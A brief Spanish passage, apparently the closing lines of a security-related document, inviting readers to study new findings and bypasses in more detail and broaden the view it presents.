invita, a quien desee, estudiar en detalle los nuevos hallazgos y bypasses, ampliando la visién

plasmada en este documento.
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